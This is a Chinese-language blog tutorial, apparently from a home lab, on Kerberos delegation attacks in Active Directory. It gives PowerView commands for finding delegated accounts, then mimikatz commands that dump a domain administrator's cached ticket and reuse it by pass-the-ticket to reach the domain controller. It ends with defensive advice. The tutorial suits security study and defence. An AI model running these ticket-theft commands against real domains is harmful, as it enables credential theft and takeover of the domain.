配置kerberos_渗透测试之Kerberos委派攻击 内网入侵章

0x00前言

昨天晚上在先知社区见到相关的Keberos委派攻击的文章。晚上在弄别的事情没有实验,早上抽空实验一波.

此教程文章只用于安全参考!!切勿使用技术违规操作!!

有什么其它问题地方可以私聊指出,谢谢。

0x01环境

Windows server 2008 R2:192.168.1.122 (AD)
Windows 7:192.168.1.107
工具:mimikatz、keke

0x02何为委派

先知社区的解释:域委派是指将域内部用户的权限委派给服务账号,使用服务账号能以用户的权限在域内展开活动
安全客机的解释:在域中如果出现一种使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

0x03委派的分类

委派分为两种:

  • 非约束委派
  • 约束委派

非约束委派:
非约束委派在Kerberos中实现时,用户可以从KDC处得到的TGT发送给访问的service1(可以是任意服务),service1拿到TGT之后可以通过TGT访问域内部任意其他服务,所以被称为非约束委派。

约束委派:
由于非约束委派的不安全性,微软在Windows 2003中发布了约束委派的功能。约束委派在Kerberos中的用户不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,永久服务1代表用户使用该TGT去访问其他服务。这里包括一组S4U2Self(用户对自己的服务)和S4U2Proxy(用户对代理的服务)的Kerberos协议扩展。

0x04非约束委派的设置

在域中只有服务账户才能有委派功能,所以先把用户user01设置为服务账号。

setspn -A https/apache2.4 user01

1edb897f9dbe7d291d8b038429e684c1.png

def830f99a85bf689ce598d437fcc642.png

之后在AD编辑查看用户可以看到,非约束委派设置好的标明

193399728628dc595336714dfdc4e936.png

0x05约束委派的设置

把用户设置为服务账号

1e02aadb991d8cfff421fdbc4067f463.png

0x06两者设置后在AD EDIT的区别

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo属性会包含被约束的服务

0x07非约束委派的发现

发现域中的委派主机或账户:

通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。
查询域中配置非约束委派的账户:
Get-NetUser -Unconstrained -Domain <domain>
这里的PowerView是master分支的

931c6c0187eb758cfb5dc7727fa10c0f.png

查询域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain <domain>

4ccf87a08ba132cc8ee61c7048c9c3fa.png

0x08约束委派的发现

查询域中配置约束委派的账户:
(dev分支的powerSploit)

Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

45e7c03a69f86deb43c0882f9f6d5f0c.png

查看设置了约束委派的用户:

Get-DomainUser -TrustedToAuth -Domain www.haq.com

2b45acb0c2a4baaf344cf6cb1dae3064.png

查询域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain <domain>

f205fc6504aa9a44414baab5a6c48200.png

0x09非约束委派的利用

假设域控用管理员账号smb登录了某台域机器,那这个时候域管理员的TGT已经缓存在域机器
使用mimikatz添加内存

privilege::debug
sekurlsa::tickets /export

09ecf0133b8c4c70b7f648edd9627a40.png

最主要的是这个(域管的TGT)

c44406c85c02595ed0c04a4b9984dc42.png

此时我们在没有凭证的情况下访问域控的共享C盘是没有权限的(图忘截了,下面的图顶替一下)

a7efa3abb9b42084eeeae260cbf7a190.png

mimikatz引入凭证

privilege::debug
kerberos::ptt [0;2c06d4]-2-0-40e00000-Administrator@krbtgt-WWW.HAQ.COM.kirbi
kerberos::list

89fa5646e3948521d891abd0416c937a.png

之后我们可以使用Enter-PSSession获取一个shell

Enter-PSSession -ComputerName <主机名>(不能IP)

640e48c70c5c4928f574a1e61bd84eab.png

0x10约束委派的利用

利用条件:

已知当前配置了约束委派的当前账户的密码

通过已知的账户名和明文密码对KDC发起请求,得到TGT

643287f80c8eb79c806cfb11a33b3a3f.png

使用kekeo申请TGS票据(我这里失败了)

96db0437c03a856ddc2947a998d0c7b7.png

所以下面的引入凭证,也不会认证成功

254574299923b996d62e21724c13e62f.png

0x11委派攻击的防御

通过上文中说到设置了非约束委派的帐户权限如果被窃取然后攻击者可能获取非常多其他账户所以最好是不要在域中使用非约束委派这种功能。
域中不需要使用委派的帐户特别是administrator帐户,设置为“敏感用户不能被委派”。
如果是win2012的系统也可以通过设置受保护的用户组来缓解委派所带来的危害。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值